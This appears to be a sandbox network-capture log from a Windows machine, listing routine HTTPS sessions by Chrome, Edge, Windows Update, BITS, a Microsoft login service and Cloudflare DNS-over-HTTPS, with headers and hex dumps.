Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49708	172.217.21.36	443	3364	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:31 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-24 18:11:31 UTC	933	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 24 Nov 2024 18:11:31 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-24 18:11:31 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-24 18:11:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49721	2.16.229.162	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:35 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-24 18:11:35 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=141645 Date: Sun, 24 Nov 2024 18:11:35 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49726	2.16.229.162	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:37 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-24 18:11:37 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=141727 Date: Sun, 24 Nov 2024 18:11:37 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-24 18:11:37 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49722	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:37 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=2NMxG4bFyKgHpsB&MD=vR+XuAHf HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-24 18:11:38 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 648c6c58-eecd-4112-a2d3-0ded4df8fc6e MS-RequestId: 4ef437e1-2d83-4bfd-ab6b-5a5cc591de31 MS-CV: mOpPIUWAP0yS+nGo.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 24 Nov 2024 18:11:36 GMT Connection: close Content-Length: 24490
2024-11-24 18:11:38 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-24 18:11:38 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49740	94.245.104.56	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:43 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:11:43 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Sun, 24 Nov 2024 18:11:42 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=3e4931a31fa9f6b0a9a0b3e0bec1ba0e7d81601066244883a4782a099ce2b765;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=3e4931a31fa9f6b0a9a0b3e0bec1ba0e7d81601066244883a4782a099ce2b765;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49743	20.190.177.21	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:45 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-24 18:11:45 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-24 18:11:46 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sun, 24 Nov 2024 18:10:45 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_BL2 x-ms-request-id: bc084d7d-57dc-46ee-b190-a7209c799209 PPServer: PPV: 30 H: BL02EPF0001D744 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sun, 24 Nov 2024 18:11:45 GMT Connection: close Content-Length: 11389
2024-11-24 18:11:46 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49760	162.159.61.3	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:46 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-24 18:11:46 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-24 18:11:47 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 24 Nov 2024 18:11:47 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7b5d0bf8d10f46-EWR alt-svc: h3=":443"; ma=86400
2024-11-24 18:11:47 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 e1 00 04 8e fa 41 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49773	172.64.41.3	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:46 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-24 18:11:46 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-24 18:11:47 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 24 Nov 2024 18:11:47 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7b5d0bfe71199d-EWR alt-svc: h3=":443"; ma=86400
2024-11-24 18:11:47 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0a 00 04 8e fa 41 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49769	162.159.61.3	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:46 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-24 18:11:46 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-24 18:11:47 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 24 Nov 2024 18:11:47 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7b5d0c3e2ec32a-EWR alt-svc: h3=":443"; ma=86400
2024-11-24 18:11:47 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 10 00 04 8e fa 41 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49771	172.64.41.3	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:46 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-24 18:11:46 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-24 18:11:47 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 24 Nov 2024 18:11:47 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7b5d0c2f094201-EWR alt-svc: h3=":443"; ma=86400
2024-11-24 18:11:47 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 17 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49772	162.159.61.3	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:46 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-24 18:11:46 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-24 18:11:47 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 24 Nov 2024 18:11:47 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7b5d0c29327c8a-EWR alt-svc: h3=":443"; ma=86400
2024-11-24 18:11:47 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 27 00 04 8e fa 41 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom'A)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49774	162.159.61.3	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:47 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-24 18:11:47 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-24 18:11:47 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 24 Nov 2024 18:11:47 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7b5d0ccd3b8c78-EWR alt-svc: h3=":443"; ma=86400
2024-11-24 18:11:47 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1c 00 04 8e fb 23 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom#)

